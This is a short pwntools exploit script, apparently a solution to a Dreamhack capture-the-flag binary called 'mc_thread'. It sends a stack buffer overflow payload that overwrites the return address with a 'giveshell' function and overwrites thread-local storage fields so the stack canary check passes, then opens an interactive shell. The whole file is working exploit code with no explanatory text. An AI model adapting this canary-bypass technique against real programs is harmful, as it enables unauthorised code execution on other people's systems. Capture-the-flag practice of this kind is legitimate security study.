from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./mc_thread')
# p = remote("host3.dreamhack.games", 17841)
p = remote('localhost', 7182)
e = ELF('./mc_thread')

def gdb_on():
    gdb.attach(p)
    pause()

# gdb_on()

code_section_addr = 0x404500-0x972

p.sendlineafter(b'Size: ', b'2352')

payload = b'A'*0x110                    # dummy
payload += b'B'*0x8                     # sfp
payload += p64(e.symbols['giveshell'])  # ret
payload += b'C'*0x7f0                   # dummy
payload += p64(code_section_addr)       # fs+0x10
payload += b'A'*0x18                    # fs+0x28

p.sendafter(b'Data: ', payload)

p.interactive()